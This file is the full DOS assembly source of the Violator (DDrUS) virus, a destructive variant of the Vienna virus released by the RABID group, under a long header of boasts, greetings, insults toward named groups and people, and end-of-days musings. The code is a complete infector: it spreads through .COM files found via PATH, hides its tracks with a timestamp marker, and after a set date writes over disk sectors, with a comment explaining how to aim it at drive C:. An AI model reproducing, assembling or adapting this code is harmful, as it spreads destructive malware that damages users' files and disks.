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viol-1a.asm
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Assembly Source File
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1992-09-13
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18KB
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463 lines
;******************************************************************************
; Violator Strain A Source Code
;******************************************************************************
;
; (May/1/1991)
;
; Well, in memory of the first anniversary of writing Violator, I have decided
; to release it's source code publicly.
;
; This is the source code to the ORIGINAL Violator or DDrUS virus. It was set
; to go off on June 22nd, 1990. The significance of this date and the name
; Violator, was that my favourite group, Depeche Mode, were comming to Toronto
; to perform their "World Violator Tour" on that date.
;
; This virus, as you can clearly see, is a base hack of the Vienna virus. The
; only thing I took out of the Vienna virus was the original scan string, and
; added date check routines as well as the INT 26 format routine. Other than
; that, this virus is pretty much like the original Vienna virus.
;
; In any event, have fun with this source code, but please keep in mind, that
; RABID does not condone the modification of this virus further in order to
; create even more raging, destructive viruses. This source is being provided
; to you in order to see how easy it is to modify an existing virus into an
; instrument of destruction. Also, RABID accepts no responsibility for damage
; which may be wrought (material or immaterial, financial or personal, you get
; the idea...) through the spreading of this source code.
;
; At this point in time, I'd wish to express greetings to several people.
;
; To the Dark Avenger, for releasing "Eddie" source code. We have greatly
; improved our programming prowess through analysis of your source code.
; (It wasn't that bad, despite all your self-scorning negative comments about
; effectiveness of certain procedures)
; Keep up the great work...
; BTW: Hope you didn't mind RABID Avenger too much. We did spread the sucker
; some more...
;
; To YAM (Youth Against McAfee). Haha! Nice name. Too bad you can't program in
; anything other than PASCAL or QuickBASIC.
;
; To John McAfee and Associates. Keep up the great work with your SCAN and
; CLEAN programs. But remember, if it wasn't for people like us, you wouldn't
; be where you are now... (BTW: How'dya like Violator B4? Did you get our
; message, despite the bug in the ANSI routines? >SMOOCH< (hehe))
;
; To Mark Washburn. V2P6 is excellent. We love the source code... (Yes! We have
; it as well...) Keep up the great work, even if it is for research purposes.
;
; To Eric Omen (DSZ Author). Sorry about the Strain B4 bit. It wasn't our
; doing. You can blame L.o.L. for that...
;
; To L.o.L. Get real lives you pre-pubesent assholes. Your group sucks! What
; good comes by releasing a doc on 500 ways to crash Emulex, and claiming that
; you know the backdoors to it, and other BBS software. Yup. Just keep going to
; those Beverly Hills Snob Private schools and think you'll get somewhere in
; the world.
;
; To Slave Lord. Take your precious group and shove it up your ass sideways.
; Your cracks suck man! A friend of mine who attended COMDEX last year can
; sum up the majority of your group in one word. GEEKS! INC rules and it
; always will. Keep on dreaming... We eat assholes like you for breakfast...
; Need we even mention how many times we crashed Slave Den last year???
; 'Nuff said...
;
; To PCM2. Where the hell are you man? Get working guy...
;
; And to all other virus writers out there who remain annonomous. Keep up the
; great work. McFee wouldn't be where he is now unless it wansn't for people
; like us. (He should be greatfull...
;
; Take care guys... And watch out. We're everywhere...
;
;******************************************************************************
;
; -=THE=-
;
; The RABID International Development Corp.
; -----------------------------------------
; Big hey-yo's to: FF, TJA, TM, PT, and MM.
;
;
; "...take heed that no man deceive you. For many shall come in my name,
; saying I am Christ; and shall deceive many. And ye shall hear of wars and
; rumours of wars: see that ye be not troubled: for all these things must come
; to pass, but the end is not yet. For nation shall rise against nation, and
; kingdom against kingdom: and there shall be famines, and pestilences, and
; earthquakes, in divers places. All these are the beginning of sorrows."
; (Matthew 24:4-9)
;
; The tenth day of Tishri shall fall upon October 9th, 2000. Revelation will
; be fulfilled.
;
; We're getting there unless those bastards in power do something to save this
; Earth we live on.
;
; Nostradamus prophesised that we may follow one of two paths. One to harmony,
; or one to destruction. Which path will we follow?
;
; Think about it.
;
;******************************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
VCODE: JMP virus
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
; The 2nd and 3rd bytes get modified.
CLD ;Pointers will be auto INcremented
MOV SI,DX ;Access data as offset from SI
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
MOV CX,3
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
REPZ MOVSB ;Restore original first 3 bytes of .COM
MOV SI,DX ;Keep SI pointing to the data area
mov ah,30h
int 21h
cmp al,0
JnZ dos_ok
JMP quit
dos_ok: PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES ;Save the DTA address
POP ES
MOV DX,dta ;Offset of new DTA in virus data area
; NOP ;MASM will add this NOP here
ADD DX,SI ;Compute DTA address
MOV AH,1AH
INT 21H ;Set new DTA to inside our own code
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0 ;ES:DI points to environment
JMP year_check
year_check:
mov ah,2ah
int 21h
cmp cx,1990
jge month_check
jmp find_path
month_check:
mov ah,2ah
int 21h
cmp dh,6
jge day_check
jmp find_path
day_check:
mov ah,2ah
int 21h ; Set date to June 22nd, 1990
cmp dl,22
jge alter
jmp find_path
alter:
mov al,1 ; Set for Drive 'B:'
mov cx,1 ; Change to 'MOV AL,2' for drive C:
mov dx,00
mov ds,[di+55]
mov bx,[di+99]
int 26h
jmp find_path
find_path:
POP SI
PUSH SI ;Get SI back
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
REPNZ SCASB ;Search for first character
MOV CX,4
check_next_4:
LODSB
SCASB
JNZ find_path ;If not all there, abort & start over
LOOP check_next_4 ;Loop to check the next character
POP SI
POP ES
MOV [SI+path_ad],DI ;Save the address of the PATH
MOV DI,SI
ADD DI,wrk_spc ;File name workspace
MOV BX,SI ;Save a copy of SI
ADD SI,wrk_spc ;Point SI to workspace
MOV DI,SI ;Point DI to workspace
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
JNZ found_subdir ;If not, there are more subdirectories
JMP all_done ;Else, we're all done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
NOP
CMP CH,'\' ;Ends with "\"?
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
; NOP ;MASM will add this NOP here
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
JMP SHORT find_first
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1FH ;Mask to remove all but seconds
CMP AL,1FH ;62 seconds -> already infected
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc ;Point to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H
MOV [SI+old_att],CX ;Save the old attributes
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
MOV DX,wrk_spc ;Offset of \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
MOV AX,OFFSET 3D02H ;Read/Write
MOV DX,wrk_spc ;Offset to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
INT 21H
AND DH,7
JMP infect
infect:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp ;Quit, if read failed
CMP AX,3 ;Were we able to read all 3 bytes?
JNZ fix_time_stamp ;Quit, if not
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Quit, if it didn't work
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
;Point DI to reference vir_dat, at start of pgm
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
MOV AH,40H
MOV_CX virlen ;Length of virus, in bytes
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
; address of virus code in memory
INT 21H
JB fix_time_stamp ;Jump if error
CMP AX,OFFSET virlen ;All bytes written?
JNZ fix_time_stamp ;Jump if error
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Jump if error
MOV AH,40H
MOV CX,3
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
INT 21H
fix_time_stamp:
MOV DX,[SI+ol_date] ;Old file date
MOV CX,[SI+old_tim] ;Old file time
AND CX,OFFSET 0FFE0H
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
MOV AX,OFFSET 5701H
INT 21H
MOV AH,3EH
INT 21H
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
MOV DX,wrk_spc
; NOP ;MASM will add this NOP
ADD DX,SI ;DX points to \path\name in workspace
INT 21H
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
POP CX
XOR AX,AX
XOR BX,BX
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
vir_dat EQU $
intro db 13,10,' DDrUS (C) - 1990 $',13,10
olddta_ DW 0 ;Old DTA offset
olddts_ DW 0 ;Old DTA segment
oldtim_ DW 0 ;Old Time
oldate_ DW 0 ;Old date
oldatt_ DW 0 ;Old file attributes
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H ;Start of JMP instruction
jmpdsp_ DW 0 ;The displacement part
fspec_ DB '*.COM',0
pathad_ DW 0 ;Path address
namptr_ DW 0 ;Pointer to start of file name
envstr_ DB 'PATH=' ;Find this in the environment
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0) ;Temporary DTA goes here
dtatim_ DW 0,0 ;Time stamp in DTA
dtalen_ DW 0,0 ;File length in the DTA
dtanam_ DB 0Dh dup (0) ;File name in the DTA
lst_byt EQU $ ;All lines that assemble into code are
; above this one
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
codelen = vir_dat - v_start ;Length of virus code, only
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
old_att = oldatt_ - vir_dat ;Displacement to old attributes
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
path_ad = pathad_ - vir_dat ;Displacement to the path address
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
dta = dta_ - vir_dat ;Displacement to the temporary DTA
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
CODE ENDS
END VCODE